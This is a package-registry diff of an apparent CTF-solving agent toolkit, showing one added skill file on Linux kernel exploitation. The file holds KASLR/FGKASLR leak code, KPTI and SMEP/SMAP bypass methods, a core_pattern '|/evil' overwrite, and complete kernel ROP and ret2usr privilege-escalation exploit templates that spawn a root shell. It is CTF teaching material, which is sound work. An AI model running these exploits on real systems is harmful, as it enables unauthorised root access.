ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,421 @@
|
|
|
1
|
+
# CTF Pwn - Kernel Protection Bypass
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [KASLR and FGKASLR Bypass](#kaslr-and-fgkaslr-bypass)
|
|
5
|
+
- [KASLR Bypass via Stack Leak (hxp CTF 2020)](#kaslr-bypass-via-stack-leak-hxp-ctf-2020)
|
|
6
|
+
- [FGKASLR Bypass (hxp CTF 2020)](#fgkaslr-bypass-hxp-ctf-2020)
|
|
7
|
+
- [KPTI Bypass Methods](#kpti-bypass-methods)
|
|
8
|
+
- [Method 1: swapgs_restore Trampoline](#method-1-swapgs_restore-trampoline)
|
|
9
|
+
- [Method 2: Signal Handler (SIGSEGV)](#method-2-signal-handler-sigsegv)
|
|
10
|
+
- [Method 3: modprobe_path via ROP](#method-3-modprobe_path-via-rop)
|
|
11
|
+
- [Method 4: core_pattern via ROP](#method-4-core_pattern-via-rop)
|
|
12
|
+
- [SMEP / SMAP Bypass](#smep--smap-bypass)
|
|
13
|
+
- [KPTI / SMEP / SMAP Quick Reference](#kpti--smep--smap-quick-reference)
|
|
14
|
+
- [GDB Kernel Module Debugging](#gdb-kernel-module-debugging)
|
|
15
|
+
- [Initramfs and virtio-9p Workflow](#initramfs-and-virtio-9p-workflow)
|
|
16
|
+
- [Finding Symbol Offsets Without CONFIG_KALLSYMS_ALL](#finding-symbol-offsets-without-config_kallsyms_all)
|
|
17
|
+
- [Exploit Templates](#exploit-templates)
|
|
18
|
+
- [Full Kernel ROP Template (SMEP + KPTI)](#full-kernel-rop-template-smep--kpti)
|
|
19
|
+
- [ret2usr Template (No SMEP/SMAP)](#ret2usr-template-no-smepsmap)
|
|
20
|
+
- [Exploit Delivery](#exploit-delivery)
|
|
21
|
+
|
|
22
|
+
---
|
|
23
|
+
|
|
24
|
+
## KASLR and FGKASLR Bypass
|
|
25
|
+
|
|
26
|
+
### KASLR Bypass via Stack Leak (hxp CTF 2020)
|
|
27
|
+
|
|
28
|
+
Leak a kernel text pointer from the stack to compute the KASLR (Kernel Address Space Layout Randomization) slide:
|
|
29
|
+
|
|
30
|
+
```c
|
|
31
|
+
// Kernel base without KASLR
|
|
32
|
+
#define KERNEL_BASE 0xffffffff81000000
|
|
33
|
+
|
|
34
|
+
unsigned long leak[40];
|
|
35
|
+
read(fd, leak, sizeof(leak)); // oversized read from vulnerable module
|
|
36
|
+
|
|
37
|
+
// leak[38] contains a randomized kernel text pointer
|
|
38
|
+
unsigned long kaslr_offset = (leak[38] & 0xffffffffffff0000) - KERNEL_BASE;
|
|
39
|
+
|
|
40
|
+
// Apply offset to all addresses
|
|
41
|
+
unsigned long commit_creds_kaslr = commit_creds + kaslr_offset;
|
|
42
|
+
unsigned long pop_rdi_ret_kaslr = pop_rdi_ret + kaslr_offset;
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
**Other KASLR leak sources:**
|
|
46
|
+
- `/proc/kallsyms` (if `kptr_restrict != 1`)
|
|
47
|
+
- `dmesg` (if `dmesg_restrict != 1`)
|
|
48
|
+
- Kernel oops messages (if oops doesn't panic)
|
|
49
|
+
- UAF reading freed kernel objects containing text pointers
|
|
50
|
+
- `modprobe_path` has 1-byte entropy — brute-forceable with AAW
|
|
51
|
+
|
|
52
|
+
### FGKASLR Bypass (hxp CTF 2020)
|
|
53
|
+
|
|
54
|
+
FGKASLR (Function Granular KASLR) randomizes individual functions, but the early `.text` section (up to approximately offset `0x400dc6`) remains at a fixed offset from the kernel base. Gadgets from this range are safe to use.
|
|
55
|
+
|
|
56
|
+
**Method 1: Use only unaffected `.text` gadgets**
|
|
57
|
+
|
|
58
|
+
```bash
|
|
59
|
+
# Find gadgets only in the non-randomized range
|
|
60
|
+
ropr --no-uniq -R "^pop rdi; ret;|^swapgs" ./vmlinux | \
|
|
61
|
+
awk -F: '{if (strtonum("0x"$1) < 0xffffffff81400dc6) print}'
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
`swapgs_restore_regs_and_return_to_usermode` is located in the unaffected `.text` section and can be used with only the KASLR base offset.
|
|
65
|
+
|
|
66
|
+
**Method 2: Resolve randomized functions via `__ksymtab`**
|
|
67
|
+
|
|
68
|
+
`__ksymtab` entries use relative offsets, not absolute addresses. The `__ksymtab` section itself is not randomized by FG-KASLR:
|
|
69
|
+
|
|
70
|
+
```c
|
|
71
|
+
// struct kernel_symbol { int value_offset; int name_offset; int namespace_offset; };
|
|
72
|
+
// Real address = &ksymtab_entry + entry.value_offset
|
|
73
|
+
|
|
74
|
+
unsigned long ksymtab_prepare_kernel_cred = 0xffffffff81f8d4fc; // from /proc/kallsyms
|
|
75
|
+
unsigned long ksymtab_commit_creds = 0xffffffff81f87d90;
|
|
76
|
+
|
|
77
|
+
// ROP chain to read ksymtab entry and compute real address:
|
|
78
|
+
// 1. Load ksymtab address into rax
|
|
79
|
+
payload[off++] = pop_rax_ret + kaslr_offset;
|
|
80
|
+
payload[off++] = ksymtab_prepare_kernel_cred + kaslr_offset;
|
|
81
|
+
// 2. Read 4-byte relative offset: mov eax, [rax]
|
|
82
|
+
payload[off++] = mov_eax_deref_rax_pop1_ret + kaslr_offset;
|
|
83
|
+
payload[off++] = 0x0;
|
|
84
|
+
// 3. Return to userland to compute: real_addr = ksymtab_addr + kaslr_offset + offset
|
|
85
|
+
payload[off++] = kpti_trampoline + kaslr_offset + 22;
|
|
86
|
+
payload[off++] = 0; payload[off++] = 0;
|
|
87
|
+
payload[off++] = (unsigned long)resolve_and_continue;
|
|
88
|
+
// ...
|
|
89
|
+
|
|
90
|
+
void resolve_and_continue() {
|
|
91
|
+
// eax contains the relative offset read from ksymtab
|
|
92
|
+
unsigned long resolved = ksymtab_prepare_kernel_cred + kaslr_offset + fetched_offset;
|
|
93
|
+
// Now use resolved address in next ROP stage
|
|
94
|
+
}
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
**Key insight:** FG-KASLR requires a multi-stage exploit: first return to userland to compute resolved addresses from `__ksymtab` offsets, then re-enter the kernel with a second ROP chain using the resolved function addresses.
|
|
98
|
+
|
|
99
|
+
---
|
|
100
|
+
|
|
101
|
+
## KPTI Bypass Methods
|
|
102
|
+
|
|
103
|
+
KPTI (Kernel Page Table Isolation) separates kernel and user page tables. A simple `swapgs; iretq` fails because the user page table is not restored. Four bypass approaches:
|
|
104
|
+
|
|
105
|
+
### Method 1: swapgs_restore Trampoline
|
|
106
|
+
|
|
107
|
+
The kernel function `swapgs_restore_regs_and_return_to_usermode` handles the full KPTI return sequence. Jump to offset +22 to skip the register-restore prologue and land directly at the CR3-swap + `swapgs` + `iretq` sequence:
|
|
108
|
+
|
|
109
|
+
```c
|
|
110
|
+
// Symbol from /proc/kallsyms or vmlinux
|
|
111
|
+
unsigned long kpti_trampoline = 0xffffffff81200f10;
|
|
112
|
+
|
|
113
|
+
// In ROP chain, after commit_creds:
|
|
114
|
+
payload[off++] = kpti_trampoline + 22; // skip to mov rdi,rsp; ... swapgs; iretq
|
|
115
|
+
payload[off++] = 0x0; // padding (popped by trampoline)
|
|
116
|
+
payload[off++] = 0x0; // padding
|
|
117
|
+
payload[off++] = user_rip;
|
|
118
|
+
payload[off++] = user_cs;
|
|
119
|
+
payload[off++] = user_rflags;
|
|
120
|
+
payload[off++] = user_sp;
|
|
121
|
+
payload[off++] = user_ss;
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
**Key insight:** The +22 offset skips the function's register pop/restore sequence and enters directly at the point where it swaps CR3, does `swapgs`, and `iretq`. This offset may vary between kernel versions — verify by disassembling the function.
|
|
125
|
+
|
|
126
|
+
### Method 2: Signal Handler (SIGSEGV)
|
|
127
|
+
|
|
128
|
+
Register a SIGSEGV handler before the exploit. When `iretq` returns without KPTI handling, the page fault triggers SIGSEGV, which the handler catches to spawn a shell:
|
|
129
|
+
|
|
130
|
+
```c
|
|
131
|
+
#include <signal.h>
|
|
132
|
+
|
|
133
|
+
void spawn_shell() {
|
|
134
|
+
if (getuid() == 0) system("/bin/sh");
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
// Before exploit:
|
|
138
|
+
struct sigaction sa;
|
|
139
|
+
sa.sa_handler = spawn_shell;
|
|
140
|
+
sigemptyset(&sa.sa_mask);
|
|
141
|
+
sa.sa_flags = 0;
|
|
142
|
+
sigaction(SIGSEGV, &sa, NULL);
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
The ROP chain still calls `commit_creds(prepare_kernel_cred(0))` and does `swapgs; iretq` to userland. Even though the return faults due to wrong page table, the credentials are already committed. The SIGSEGV handler runs with root privileges.
|
|
146
|
+
|
|
147
|
+
### Method 3: modprobe_path via ROP
|
|
148
|
+
|
|
149
|
+
Instead of returning to userland, overwrite `modprobe_path` directly from the kernel ROP chain using `pop rax; pop rdi; mov [rdi], rax; ret` gadgets. No KPTI handling needed — the write happens entirely in kernel context.
|
|
150
|
+
|
|
151
|
+
See [kernel.md - modprobe_path Overwrite](kernel.md#modprobe_path-overwrite) for the full technique, trigger sequence, and ROP payload.
|
|
152
|
+
|
|
153
|
+
### Method 4: core_pattern via ROP
|
|
154
|
+
|
|
155
|
+
Similar to Method 3 but overwrites `core_pattern` with a pipe command (e.g., `"|/evil"`). When any process crashes, the kernel executes the piped program as root.
|
|
156
|
+
|
|
157
|
+
See [kernel.md - core_pattern Overwrite](kernel.md#core_pattern-overwrite) for the full technique and how to find the `core_pattern` address.
|
|
158
|
+
|
|
159
|
+
---
|
|
160
|
+
|
|
161
|
+
## SMEP / SMAP Bypass
|
|
162
|
+
|
|
163
|
+
**SMEP (Supervisor Mode Execution Prevention):** Blocks executing userland pages from kernel mode.
|
|
164
|
+
- **Bypass:** Use kernel ROP (kROP) chains — all gadgets from kernel `.text`. See [kernel.md - Kernel ROP](kernel.md#kernel-rop-with-prepare_kernel_cred--commit_creds).
|
|
165
|
+
|
|
166
|
+
**SMAP (Supervisor Mode Access Prevention):** Blocks accessing userland memory from kernel mode.
|
|
167
|
+
- **Bypass:** kROP with heap-resident chain (all data in kernel heap), or `stac`/`clac` gadgets to temporarily disable SMAP.
|
|
168
|
+
|
|
169
|
+
**Direct CR4 modification (old kernels):** Write to CR4 to clear SMEP/SMAP bits. Blocked on modern kernels by `native_write_cr4()` pinning.
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## KPTI / SMEP / SMAP Quick Reference
|
|
174
|
+
|
|
175
|
+
| Protection | Blocks | Bypass |
|
|
176
|
+
|-----------|--------|--------|
|
|
177
|
+
| SMEP | Executing userland pages from kernel | kROP (kernel ROP chain) — see [kernel.md](kernel.md#kernel-rop-with-prepare_kernel_cred--commit_creds) |
|
|
178
|
+
| SMAP | Accessing userland memory from kernel | kROP with heap-resident chain, `stac`/`clac` gadgets |
|
|
179
|
+
| No SMEP/SMAP | (nothing) | [ret2usr](kernel.md#ret2usr-no-smepsmap) — directly call userland privesc function |
|
|
180
|
+
| KPTI | Kernel page table isolation | [Trampoline](#method-1-swapgs_restore-trampoline), [signal handler](#method-2-signal-handler-sigsegv), [modprobe_path](#method-3-modprobe_path-via-rop), [core_pattern](#method-4-core_pattern-via-rop) |
|
|
181
|
+
|
|
182
|
+
See [KPTI Bypass Methods](#kpti-bypass-methods) for detailed bypass techniques with code.
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## GDB Kernel Module Debugging
|
|
187
|
+
|
|
188
|
+
Load vulnerable kernel module symbols in GDB for source-level debugging:
|
|
189
|
+
|
|
190
|
+
```bash
|
|
191
|
+
# 1. Find module load address (as root inside QEMU)
|
|
192
|
+
cat /proc/modules
|
|
193
|
+
# vuln 16384 0 - Live 0xffffffffc0000000 (O)
|
|
194
|
+
|
|
195
|
+
# 2. In GDB, load module symbols at that address
|
|
196
|
+
(gdb) target remote localhost:1234
|
|
197
|
+
(gdb) add-symbol-file vuln.ko 0xffffffffc0000000
|
|
198
|
+
(gdb) b swrite # breakpoint on module function
|
|
199
|
+
(gdb) c
|
|
200
|
+
|
|
201
|
+
# 3. Inspect stack after breakpoint hit
|
|
202
|
+
(gdb) x/20xg $rsp-0x90 # examine stack buffer
|
|
203
|
+
(gdb) search "AAAAAAAA" # find buffer location (pwndbg)
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
**Note:** `/proc/modules` requires root to read actual addresses. Non-root users see zeroed addresses. Modify `/init` to keep root for debugging.
|
|
207
|
+
|
|
208
|
+
---
|
|
209
|
+
|
|
210
|
+
## Initramfs and virtio-9p Workflow
|
|
211
|
+
|
|
212
|
+
**Shared directory via virtio-9p** — transfer exploits between host and QEMU without rebuilding initramfs:
|
|
213
|
+
```bash
|
|
214
|
+
# Add to QEMU launch script:
|
|
215
|
+
-fsdev local,security_model=passthrough,id=fsdev0,path=./share \
|
|
216
|
+
-device virtio-9p-pci,id=fs0,fsdev=fsdev0,mount_tag=hostshare
|
|
217
|
+
|
|
218
|
+
# Inside QEMU guest (add to /init or run manually):
|
|
219
|
+
mkdir -p /home/ctf && mount -t 9p -o trans=virtio,version=9p2000.L hostshare /home/ctf
|
|
220
|
+
|
|
221
|
+
# On host, compile exploit into shared directory:
|
|
222
|
+
gcc exploit.c -static -o ./share/exploit
|
|
223
|
+
```
|
|
224
|
+
|
|
225
|
+
**Extract and modify initramfs:**
|
|
226
|
+
```bash
|
|
227
|
+
# Extract
|
|
228
|
+
mkdir initramfs && cd initramfs
|
|
229
|
+
gzip -dc ../initramfs.cpio.gz | cpio -idmv
|
|
230
|
+
|
|
231
|
+
# Modify /init for debugging (get root shell instead of unprivileged user)
|
|
232
|
+
# Comment out: exec su -l ctf
|
|
233
|
+
# Add: /bin/sh
|
|
234
|
+
|
|
235
|
+
# Rebuild
|
|
236
|
+
find . -print0 | cpio --null -ov --format=newc | gzip -9 > ../initramfs.cpio.gz
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
**Key modifications to `/init` for debugging:**
|
|
240
|
+
- Comment out `exec su -l ctf` (or similar) to keep root privileges
|
|
241
|
+
- Comment out `echo 1 > /proc/sys/kernel/kptr_restrict` to see `/proc/kallsyms`
|
|
242
|
+
- Comment out `echo 1 > /proc/sys/kernel/dmesg_restrict` to see dmesg
|
|
243
|
+
- Comment out `chmod 400 /proc/kallsyms` to read symbol addresses
|
|
244
|
+
|
|
245
|
+
---
|
|
246
|
+
|
|
247
|
+
## Finding Symbol Offsets Without CONFIG_KALLSYMS_ALL
|
|
248
|
+
|
|
249
|
+
`/proc/kallsyms` only shows `.text` symbols by default. Data symbols like `modprobe_path` and `core_pattern` require `CONFIG_KALLSYMS_ALL=y`.
|
|
250
|
+
|
|
251
|
+
**Finding modprobe_path:**
|
|
252
|
+
|
|
253
|
+
```bash
|
|
254
|
+
# 1. Get call_usermodehelper_setup address (always in /proc/kallsyms)
|
|
255
|
+
cat /proc/kallsyms | grep call_usermodehelper_setup
|
|
256
|
+
|
|
257
|
+
# 2. In GDB, set breakpoint and trigger
|
|
258
|
+
hb *0xffffffff810c8c80
|
|
259
|
+
# Trigger: echo -ne '\xff\xff\xff\xff' > /tmp/x && chmod +x /tmp/x && /tmp/x
|
|
260
|
+
|
|
261
|
+
# 3. Check first argument (RDI = modprobe_path)
|
|
262
|
+
(gdb) p/x $rdi
|
|
263
|
+
# 0xffffffff8265ff00
|
|
264
|
+
(gdb) x/s $rdi
|
|
265
|
+
# "/sbin/modprobe"
|
|
266
|
+
```
|
|
267
|
+
|
|
268
|
+
**Finding core_pattern:**
|
|
269
|
+
|
|
270
|
+
```bash
|
|
271
|
+
# 1. Set breakpoint on override_creds (called by do_coredump)
|
|
272
|
+
# 2. Crash a process: gcc -static -o crash -xc - <<< 'int main(){((void(*)())0)();}'
|
|
273
|
+
# 3. After override_creds returns, disassemble — look for data address in movzx
|
|
274
|
+
```
|
|
275
|
+
|
|
276
|
+
---
|
|
277
|
+
|
|
278
|
+
## Exploit Templates
|
|
279
|
+
|
|
280
|
+
### Full Kernel ROP Template (SMEP + KPTI)
|
|
281
|
+
|
|
282
|
+
Complete exploit for kernel stack overflow with SMEP and KPTI enabled:
|
|
283
|
+
|
|
284
|
+
```c
|
|
285
|
+
#include <stdio.h>
|
|
286
|
+
#include <stdlib.h>
|
|
287
|
+
#include <fcntl.h>
|
|
288
|
+
#include <unistd.h>
|
|
289
|
+
#include <string.h>
|
|
290
|
+
|
|
291
|
+
// Addresses from vmlinux (apply KASLR offset if needed)
|
|
292
|
+
unsigned long prepare_kernel_cred;
|
|
293
|
+
unsigned long commit_creds;
|
|
294
|
+
unsigned long pop_rdi_ret;
|
|
295
|
+
unsigned long mov_rdi_rax_pop1_ret;
|
|
296
|
+
unsigned long kpti_trampoline;
|
|
297
|
+
|
|
298
|
+
// Userland state
|
|
299
|
+
unsigned long user_cs, user_ss, user_sp, user_rflags, user_rip;
|
|
300
|
+
|
|
301
|
+
void save_userland_state() {
|
|
302
|
+
__asm__(".intel_syntax noprefix;"
|
|
303
|
+
"mov %[cs], cs;"
|
|
304
|
+
"mov %[ss], ss;"
|
|
305
|
+
"mov %[sp], rsp;"
|
|
306
|
+
"pushf; pop %[rflags];"
|
|
307
|
+
".att_syntax;"
|
|
308
|
+
: [cs] "=r"(user_cs), [ss] "=r"(user_ss),
|
|
309
|
+
[sp] "=r"(user_sp), [rflags] "=r"(user_rflags));
|
|
310
|
+
user_rip = (unsigned long)spawn_shell;
|
|
311
|
+
}
|
|
312
|
+
|
|
313
|
+
void spawn_shell() {
|
|
314
|
+
if (getuid() == 0) {
|
|
315
|
+
printf("[+] root!\n");
|
|
316
|
+
system("/bin/sh");
|
|
317
|
+
} else {
|
|
318
|
+
printf("[-] privesc failed\n");
|
|
319
|
+
exit(1);
|
|
320
|
+
}
|
|
321
|
+
}
|
|
322
|
+
|
|
323
|
+
int main() {
|
|
324
|
+
save_userland_state();
|
|
325
|
+
int fd = open("/dev/hackme", O_RDWR);
|
|
326
|
+
|
|
327
|
+
// Step 1: Leak canary + KASLR base
|
|
328
|
+
unsigned long leak[40];
|
|
329
|
+
read(fd, leak, sizeof(leak));
|
|
330
|
+
unsigned long cookie = leak[16];
|
|
331
|
+
unsigned long kaslr_offset = (leak[38] & 0xffffffffffff0000) - 0xffffffff81000000;
|
|
332
|
+
|
|
333
|
+
// Step 2: Apply KASLR offset
|
|
334
|
+
prepare_kernel_cred += kaslr_offset;
|
|
335
|
+
commit_creds += kaslr_offset;
|
|
336
|
+
pop_rdi_ret += kaslr_offset;
|
|
337
|
+
mov_rdi_rax_pop1_ret += kaslr_offset;
|
|
338
|
+
kpti_trampoline += kaslr_offset;
|
|
339
|
+
|
|
340
|
+
// Step 3: Build ROP chain
|
|
341
|
+
unsigned long payload[50];
|
|
342
|
+
int off = 16;
|
|
343
|
+
payload[off++] = cookie;
|
|
344
|
+
payload[off++] = 0; // rbx
|
|
345
|
+
payload[off++] = 0; // r12
|
|
346
|
+
payload[off++] = 0; // rbp
|
|
347
|
+
|
|
348
|
+
// prepare_kernel_cred(0) → commit_creds(result)
|
|
349
|
+
payload[off++] = pop_rdi_ret;
|
|
350
|
+
payload[off++] = 0;
|
|
351
|
+
payload[off++] = prepare_kernel_cred;
|
|
352
|
+
payload[off++] = mov_rdi_rax_pop1_ret;
|
|
353
|
+
payload[off++] = 0; // pop rbx padding
|
|
354
|
+
payload[off++] = commit_creds;
|
|
355
|
+
|
|
356
|
+
// KPTI-safe return to userland
|
|
357
|
+
payload[off++] = kpti_trampoline + 22;
|
|
358
|
+
payload[off++] = 0; // padding
|
|
359
|
+
payload[off++] = 0; // padding
|
|
360
|
+
payload[off++] = user_rip;
|
|
361
|
+
payload[off++] = user_cs;
|
|
362
|
+
payload[off++] = user_rflags;
|
|
363
|
+
payload[off++] = user_sp;
|
|
364
|
+
payload[off++] = user_ss;
|
|
365
|
+
|
|
366
|
+
write(fd, payload, sizeof(payload));
|
|
367
|
+
return 0;
|
|
368
|
+
}
|
|
369
|
+
```
|
|
370
|
+
|
|
371
|
+
### ret2usr Template (No SMEP/SMAP)
|
|
372
|
+
|
|
373
|
+
```c
|
|
374
|
+
void privesc() {
|
|
375
|
+
__asm__(".intel_syntax noprefix;"
|
|
376
|
+
"movabs rax, %[prepare_kernel_cred];"
|
|
377
|
+
"xor rdi, rdi;"
|
|
378
|
+
"call rax;"
|
|
379
|
+
"mov rdi, rax;"
|
|
380
|
+
"movabs rax, %[commit_creds];"
|
|
381
|
+
"call rax;"
|
|
382
|
+
"swapgs;"
|
|
383
|
+
"mov r15, %[user_ss]; push r15;"
|
|
384
|
+
"mov r15, %[user_sp]; push r15;"
|
|
385
|
+
"mov r15, %[user_rflags]; push r15;"
|
|
386
|
+
"mov r15, %[user_cs]; push r15;"
|
|
387
|
+
"mov r15, %[user_rip]; push r15;"
|
|
388
|
+
"iretq;"
|
|
389
|
+
".att_syntax;"
|
|
390
|
+
: : [prepare_kernel_cred] "r"(prepare_kernel_cred),
|
|
391
|
+
[commit_creds] "r"(commit_creds),
|
|
392
|
+
[user_ss] "r"(user_ss), [user_sp] "r"(user_sp),
|
|
393
|
+
[user_rflags] "r"(user_rflags),
|
|
394
|
+
[user_cs] "r"(user_cs), [user_rip] "r"(user_rip));
|
|
395
|
+
}
|
|
396
|
+
```
|
|
397
|
+
|
|
398
|
+
---
|
|
399
|
+
|
|
400
|
+
## Exploit Delivery
|
|
401
|
+
|
|
402
|
+
Kernel exploits are typically large static binaries. Minimize size for remote delivery:
|
|
403
|
+
|
|
404
|
+
```bash
|
|
405
|
+
# 1. Compile with musl-libc (much smaller than glibc)
|
|
406
|
+
musl-gcc -static -O2 -o exploit exploit.c
|
|
407
|
+
|
|
408
|
+
# 2. Strip symbols
|
|
409
